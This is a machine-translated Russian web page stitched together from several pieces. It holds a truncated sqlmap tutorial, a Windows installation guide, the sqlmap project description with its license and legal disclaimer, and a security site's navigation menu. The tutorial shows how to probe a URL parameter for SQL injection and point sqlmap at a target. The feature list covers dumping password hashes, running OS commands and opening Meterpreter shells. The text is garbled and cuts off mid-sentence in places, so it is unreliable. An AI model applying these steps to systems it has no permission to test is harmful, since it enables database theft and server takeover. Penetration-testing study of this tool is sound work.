Поскольку он написан на python, сначала вам необходимо установить python в вашей системе. В ubuntu установите python из synaptic. В Windows установите activestate python. Прочтите этот пост, чтобы узнать, как установить и запустить sqlmap в Windows.

Список опций и параметров, которые можно использовать с командой sqlmap, можно найти в документации sqlmap по адресу
https: // github.com / sqlmapproject / sqlmap / wiki / Использование

В этом руководстве мы узнаем, как использовать sqlmap для эксплуатации уязвимого веб-приложения, и посмотрим, что можно сделать с помощью такого инструмента.

Чтобы понять это руководство, вы должны хорошо знать, как работают веб-приложения, управляемые базами данных. Например, созданные с помощью php + mysql.

Уязвимые URL-адреса

Допустим, есть веб-приложение или веб-сайт, в котором есть URL-адрес, подобный этому

 http: // www.site.com/section.php?id=51 

, и он подвержен внедрению sql, потому что разработчик этого сайта неправильно экранировал идентификатор параметра. Это можно просто проверить, открыв URL-адрес

.
 http://www.site.com/section.php?id=51 '

Мы просто добавили одинарную кавычку в параметр. Если этот URL-адрес вызывает ошибку или реагирует неожиданным образом, то очевидно, что в базе данных есть неожиданная одинарная кавычка, которую приложение не экранировало должным образом. Таким образом, в этом случае этот входной параметр «id» уязвим для внедрения sql.

Взлом с помощью sqlmap

Теперь пора перейти к sqlmap для взлома таких URL. Команда sqlmap запускается с терминала с помощью интерпретатора python.

1. Сканирование удаленной системы

Первая команда сканирует удаленную систему, чтобы увидеть, уязвима ли она для внедрения sql, а затем собирает информацию о ней.

 $ python sqlmap.py -u "http://www.site.com/section.php?id=51" 

Это первая и самая простая команда, которую можно запустить с помощью инструмента sqlmap.Он проверяет входные параметры, чтобы определить, уязвимы ли они для внедрения sql или нет. Для этого sqlmap отправляет различные виды полезной нагрузки sql-инъекций во входной параметр и проверяет выходные данные.

В процессе sqlmap также может определять ОС удаленной системы, имя и версию базы данных. Вот как может выглядеть вывод li

.

Как установить и запустить Sqlmap в Windows - BinaryTides

Sqlmap - самый популярный инструмент для автоматического использования уязвимости SQL-инъекции и захвата базы данных. Он написан на Python и является кроссплатформенным.

Если вы используете Backtrack, то sqlmap поставляется заранее упакованным в него. В этом посте я покажу вам простой процесс установки и запуска sqlmap в Windows.

1. Загрузите и установите Python

Так как sqlmap написан на python, первое, что вам понадобится, это интерпретатор python.Загрузите интерпретатор Python с https://www.python.org/.

Установщики Windows

можно найти здесь:
https://www.python.org/downloads/windows/

Существует две серии python: 2.7.x и 3.3.x. Sqlmap должен нормально работать с любым из них.
Так что скачайте и установите.

2. Загрузите и установите Sqlmap

Затем загрузите zip-файл sqlmap с sqlmap.org.
Распакуйте zip-файлы в любой каталог.

Запустите приглашение dos и перейдите в каталог sqlmap.Теперь запустите скрипт sqlmap.py с интерпретатором python.

 C: \ sqlmapproject-sqlmap-2defc30> python ./sqlmap.py Использование: ./sqlmap.py [параметры] sqlmap.py: ошибка: отсутствует обязательный параметр (-d, -u, -l, -m, -r, -g, -c, --wiza rd, --update, --purge-output или --dependencies), используйте -h для базового или -hh для adv вынужденная помощь Нажмите Enter, чтобы продолжить ... 

Это было легко! Sqlmap запрашивает некоторые параметры, чтобы что-то взломать.

Заключение

Теперь, когда вы закончили установку sqlmap и готовы к ее запуску, вы можете прочитать учебник по использованию sqlmap.Прочтите следующий пост:

https://www.binarytides.com/sqlmap-hacking-tutorial/

Исходный код Sqlmap размещен на github. Посмотрите здесь:
https://github.com/sqlmapproject/sqlmap

.

инструмент для автоматического внедрения SQL и замены базы данных

sqlmap - это инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и использования недостатков SQL-инъекций и захвата серверов баз данных. Он поставляется с мощным механизмом обнаружения, множеством нишевых функций для окончательного тестера на проникновение и широким спектром переключателей, начиная от снятия отпечатков с базы данных и получения данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через выход внеполосные соединения.

Проект sqlmap в настоящее время ищет спонсора (-ов)
  • Полная поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, h3, MonetDB, Apache Derby, Системы управления базами данных Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB и FrontBase .
  • Полная поддержка шести методов SQL-инъекций: слепых на основе логических значений, слепых на основе времени, на основе ошибок, на основе запросов UNION, сложенных запросов и внеполосных .
  • Поддержка для прямого подключения к базе данных без использования SQL-инъекции, путем предоставления учетных данных СУБД, IP-адреса, порта и имени базы данных.
  • Поддержка перечисления пользователей, хэшей паролей, привилегий, ролей, баз данных, таблиц и столбцов .
  • Автоматическое распознавание форматов хэшей паролей и поддержка взлома их с помощью атаки по словарю .
  • Поддержка дампа таблиц базы данных целиком, диапазон записей или определенных столбцов по выбору пользователя. Пользователь также может выбрать выгрузку только диапазона символов из каждой записи столбца.
  • Поддержка поиска определенных имен баз данных, определенных таблиц во всех базах данных или определенных столбцов во всех таблицах баз данных . Это полезно, например, для идентификации таблиц, содержащих пользовательские учетные данные приложения, где имена соответствующих столбцов содержат строку, такую ​​как имя и пароль.
  • Поддержка загрузки и выгрузки любого файла из базовой файловой системы сервера базы данных, когда программное обеспечение базы данных - MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка для выполнения произвольных команд и получения их стандартного вывода на сервере базы данных, лежащем в основе операционной системы, когда программное обеспечение базы данных - MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка устанавливает внеполосное TCP-соединение с отслеживанием состояния между атакующим компьютером и сервером базы данных , лежащим в основе операционной системы.Этот канал может быть интерактивной командной строкой, сеансом Meterpreter или сеансом графического пользовательского интерфейса (VNC) по выбору пользователя.
  • Поддержка повышения привилегий пользователя процесса базы данных с помощью команды Metasploit Meterpreter getsystem .

Подробную информацию о функциях см. В вики.

Вы можете скачать последнюю версию zipball или tarball.

Желательно загрузить sqlmap путем клонирования репозитория Git:

  git clone --depth 1 https: // github.com / sqlmapproject / sqlmap.git sqlmap-dev  

Посмотреть другие демонстрации можно здесь.

Мы очень ценим все вклады в код. Во-первых, клонируйте репозиторий Git, внимательно прочтите руководство пользователя, просмотрите код самостоятельно и напишите нам по электронной почте, если вам трудно понять его структуру и значение.

Сообщения об ошибках приветствуются ! Пожалуйста, сообщайте обо всех ошибках в системе отслеживания проблем. Наш предпочтительный метод отправки патча - запрос Git pull.

Каждый патч должен вносить одно логическое изменение. Пожалуйста, следуйте существующим стилистическим соглашениям: по возможности переносите код в 76 столбцов. Избегайте табуляции, используйте вместо них четыре пробела. Прежде чем вкладывать время в нетривиальный патч, стоит обсудить его в частном порядке по электронной почте.

Многие люди по-разному внесли свой вклад в разработку sqlmap. Вы можете стать следующим!

sqlmap - результат многих часов увлеченной работы небольшой команды энтузиастов компьютерной безопасности.Если вы оценили нашу работу и хотите, чтобы sqlmap продолжала развиваться, рассмотрите возможность внесения пожертвования на наши усилия через PayPal на адрес [email protected] . Мы также принимаем житкойны на номер 1AUrrKYsamBEThdruYTQmUfMfLF7aaxU6x .

Авторские права © 2006-2020 Бернардо Дамеле Ассумпкао Гимарайнш и Мирослав Стампар. Все права защищены.

Это бесплатное программное обеспечение; вы можете распространять и / или изменять его в соответствии с условиями Стандартной общественной лицензии GNU, опубликованной Free Software Foundation; Версия 2 (или более поздняя) с уточнениями и исключениями, описанными в файле лицензии.Это гарантирует ваше право использовать, изменять и распространять это программное обеспечение при определенных условиях. Если вы хотите встроить технологию sqlmap в проприетарное программное обеспечение, мы продаем альтернативные лицензии. (свяжитесь с [email protected]).

Эта программа распространяется в надежде, что она будет полезной, но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; даже без подразумеваемых гарантий ТОВАРНОЙ ПРИГОДНОСТИ или ПРИГОДНОСТИ ДЛЯ КОНКРЕТНОЙ ЦЕЛИ. См. Стандартную общественную лицензию GNU v2.0 для получения дополнительных сведений по адресу http://www.gnu.org/licenses/gpl-2.0.html.

Использование sqlmap для атаки целей без предварительного обоюдного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой.

Вы можете связаться с командой разработчиков, написав на [email protected] .

.

Учебное пособие по SQLmap

  • Сканеры
    • Сеть
      • Сканер портов Nmap
      • График сканирования Nmap
      • Сканер OpenVAS
      • График сканирования OpenVAS
      • Zmap Fast Network Scan
    • Web
      • TLS
      • SSL
      • TLS 9000 Web Scanner
      • / Wappalyzer
    • Приложения CMS
      • WordPress Scanner
      • Joomla Security Scan
      • Drupal Security Scan
      • SharePoint Security Scan
    • Recon
      • Domain Profiler (OSINT)
      • Инструменты
      • IP Search
  • Инструменты
    • Тесты сети
      • Traceroute
      • Тестовый пинг
    • Запросы DNS
      • Поиск DNS
      • Обратный DNS
      • Поиск записей хоста (передача поддоменов
      • Серверы
      • Shared DNS)
      • Поиск Whois
    • IP-адрес
      • Поиск GeoIP
      • Обратный поиск IP
      • Сканирование порта TCP
      • Сканирование порта UDP
      • Поиск подсети
      • Поиск ASN
      • Захват баннера (поиск)
    • Извлечение заголовков HTTP
    • Web Tools
        Ссылки на страницы
      • Поиск с обратной аналитикой
  • Research
    • Блог
      • Учебники и чит-листы
      • Инструменты с открытым исходным кодом
      • Последние сообщения
      • Research
    • Самые популярные атаки на WordPress
      • Offensive Security Tools для системных администраторов
      • Nessus, OpenVAS и NexPose против Metasploitable
      • Учебное пособие и шпаргалка Wireshark
  • Services
    • Оценка поверхности атаки
    • 9008
Уязвимость .

Смотрите также